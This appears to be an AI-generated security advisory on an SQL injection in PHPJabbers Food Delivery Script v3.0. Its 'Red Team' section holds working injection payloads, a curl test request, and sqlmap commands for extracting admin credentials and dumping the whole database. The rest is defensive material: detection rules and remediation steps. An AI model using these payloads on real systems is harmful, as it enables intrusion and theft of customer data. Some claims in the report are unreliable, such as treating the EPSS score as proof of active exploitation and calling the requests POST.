CVE-2023-40749

Executive Summary

CVE-2023-40749 is a critical SQL Injection vulnerability in PHPJabbers Food Delivery Script v3.0. The flaw exists in the column parameter of index.php, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of customer orders, payment details, delivery addresses, and admin credentials. The vulnerability has a CVSS score of 9.8 (Critical) and is confirmed by a public Nuclei template. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a commercial PHP application (PHPJabbers Food Delivery Script v3.0). It is not an open-source package from NPM, PyPI, Go, or Ruby registries. The risk is primarily to end-users who have deployed this script on their web servers. Supply chain risk is elevated due to the lack of a vendor patch and the script's use in handling sensitive food delivery data.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code (Nuclei template) is available. The EPSS score of 0.44459 (97.578th percentile) indicates active exploitation in the wild.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the column parameter of the index.php controller. The application fails to sanitize or parameterize user input before constructing SQL queries. The vulnerable endpoint is:

/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=[INJECTION]&direction=ASC&page=1&rowCount=50&q=''&type=

The column parameter is directly concatenated into an SQL ORDER BY clause. An attacker can inject a CASE WHEN statement to perform boolean-based blind SQL injection, as demonstrated in the Nuclei template. The injection uses hex-encoded strings (e.g., 0x63726561746564 for "created") to avoid character restrictions.

The attack flow:

1. Attacker sends a POST request with a malicious column parameter.
2. The application builds an SQL query like: SELECT ... FROM ... ORDER BY [column].
3. The injected CASE WHEN statement evaluates a condition (e.g., 4213=4213).
4. If true, the query returns a valid result; if false, it returns an error.
5. The attacker can iteratively extract data by modifying the condition.

Vulnerable vs. Patched Code

Vulnerable Code (PHPJabbers Food Delivery Script v3.0):

// index.php (simplified)
$column = $_GET['column'];
$query = "SELECT * FROM orders ORDER BY $column";
$result = mysqli_query($conn, $query);

Patched Code (Hypothetical):

// index.php (patched)
$allowed_columns = ['id', 'created', 'status', 'total'];
$column = $_GET['column'];
if (!in_array($column, $allowed_columns)) {
    die("Invalid column");
}
$query = "SELECT * FROM orders ORDER BY $column";
$result = mysqli_query($conn, $query);

Explanation: The vulnerable code directly uses user input in the SQL query. The patched code implements a whitelist of allowed column names, preventing injection. Alternatively, parameterized queries with prepared statements would also mitigate the issue.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running PHPJabbers Food Delivery Script v3.0.
• Network access to the target.

Exploitation Steps:

1. Verify Vulnerability: Send the following POST request to confirm the injection:

   curl -X POST "http://target.com/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=(SELECT+(CASE+WHEN+(1=1)+THEN+0x63726561746564+ELSE+(SELECT+1+UNION+SELECT+2)+END))&direction=ASC&page=1&rowCount=50&q=''&type="
   

   If the response contains "class pjAdminOrdersaction" and "didn't exists", the vulnerability is present.

2. Extract Admin Credentials: Use a boolean-based blind SQL injection to extract the admin username and password hash:

   (SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT username FROM admins LIMIT 1),1,1))>97) THEN 0x63726561746564 ELSE (SELECT 1 UNION SELECT 2) END))
   

   Automate this with a script or tool like sqlmap:

   sqlmap -u "http://target.com/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=*&direction=ASC&page=1&rowCount=50&q=''&type=" --data="" --batch --dbs
   

3. Full Database Dump:

   sqlmap -u "http://target.com/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=*&direction=ASC&page=1&rowCount=50&q=''&type=" --data="" --batch --dump-all
   

Blue Team

Detection:

• Monitor for POST requests to /index.php with unusual column parameters containing SQL keywords (e.g., SELECT, CASE, UNION, 0x).
• Look for HTTP responses containing "class pjAdminOrdersaction" and "didn't exists".

Honeypot:

• Deploy a fake PHPJabbers instance and log all requests to the vulnerable endpoint.
• Alert on any column parameter containing hex-encoded strings or SQL syntax.

Lab Setup:

1. Download PHPJabbers Food Delivery Script v3.0 (from official source or archive).
2. Install on a local web server (XAMPP, LAMP) with PHP 7.x and MySQL.
3. Configure the database and populate with sample data.
4. Access the vulnerable endpoint to test detection rules.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /index.php with controller=pjAdminOrders&action=pjActionGetNewOrder&column= containing SQL injection payloads.
• HTTP responses with status 200 and body containing "class pjAdminOrdersaction" and "didn't exists".
• User-Agent strings from common scanning tools (e.g., sqlmap, curl).

File IOCs:

• Suspicious entries in web server access logs (e.g., column=(SELECT+(CASE+WHEN...).
• Database logs showing unexpected queries with ORDER BY clauses containing CASE WHEN.

System IOCs:

• Unusual database connections from the web server user.
• High CPU or memory usage on the database server during exploitation.

Detection Engineering

YARA Rule

rule CVE_2023_40749_SQLi_Column_Parameter {
    meta:
        description = "Detects SQL injection attempts targeting the column parameter in PHPJabbers Food Delivery Script v3.0"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-40749"
        severity = "critical"
    strings:
        $s1 = "column=" nocase
        $s2 = "SELECT" nocase
        $s3 = "CASE" nocase
        $s4 = "0x" nocase
        $s5 = "UNION" nocase
        $s6 = "pjAdminOrders" nocase
        $s7 = "pjActionGetNewOrder" nocase
    condition:
        all of ($s1, $s6, $s7) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2023-40749 SQL Injection Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against PHPJabbers Food Delivery Script v3.0 column parameter
author: Valters IT
date: 2025-04-10
tags:
    - attack.t1190
    - cve.2023.40749
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'controller=pjAdminOrders'
            - 'action=pjActionGetNewOrder'
            - 'column='
    keywords:
        - 'SELECT'
        - 'CASE'
        - '0x'
        - 'UNION'
    condition: selection and keywords
falsepositives:
    - Legitimate use of column names containing these strings (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-40749 PHPJabbers Food Delivery Script SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/index.php"; http_uri;
    content:"controller=pjAdminOrders"; http_uri;
    content:"action=pjActionGetNewOrder"; http_uri;
    content:"column="; http_uri;
    pcre:"/(SELECT|CASE|0x|UNION)/Ri";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
)

Nuclei Template (Provided)

id: CVE-2023-40749

info:
  name: PHPJabbers Food Delivery Script v3.0 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    PHPJabbers Food Delivery Script v3.0 is vulnerable to SQL Injection in the "column" parameter of index.php.
  impact: |
    Unauthenticated attackers can exploit SQL injection in the column parameter to extract sensitive database information including customer orders, payment details, delivery addresses, and admin credentials from the Food Delivery platform.
  remediation: |
    Update PHPJabbers Food Delivery Script to a version newer than 3.0 that properly sanitizes the column parameter and uses parameterized queries.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40749
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-40749
    cwe-id: CWE-89
    epss-score: 0.44459
    epss-percentile: 0.97578
    cpe: cpe:2.3:a:phpjabbers:food_delivery_script:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    vendor: phpjabbers
    product: food_delivery_script
  tags: cve,cve2023,phpjabbers,food-delivery,sqli,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3d(SELECT+(CASE+WHEN+(4213%3d4213)+THEN+0x63726561746564+ELSE+(SELECT+7877+UNION+SELECT+7153)+END))%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d’’%26type%3d"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "class <strong>pjAdminOrdersaction"
          - "didn't exists"
        condition: and

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /index.php?controller=pjAdminOrders&action=pjActionGetNewOrder via web server configuration (e.g., .htaccess).
2. Implement a Web Application Firewall (WAF) rule to block requests with SQL keywords in the column parameter.
3. Restrict network access to the admin panel to trusted IPs only.

Long-term Fix:

• Vendor Patch: Contact PHPJabbers for an official patch. If unavailable, consider migrating to an alternative solution.
• Code Hardening: If you have access to the source code, implement parameterized queries or a whitelist of allowed column names.
• Input Validation: Sanitize all user inputs, especially those used in SQL queries.

Detection & Monitoring:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Monitor logs for exploitation attempts.
• Conduct regular vulnerability scans.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: CBB02BA6F12D8575BA6721B5] */}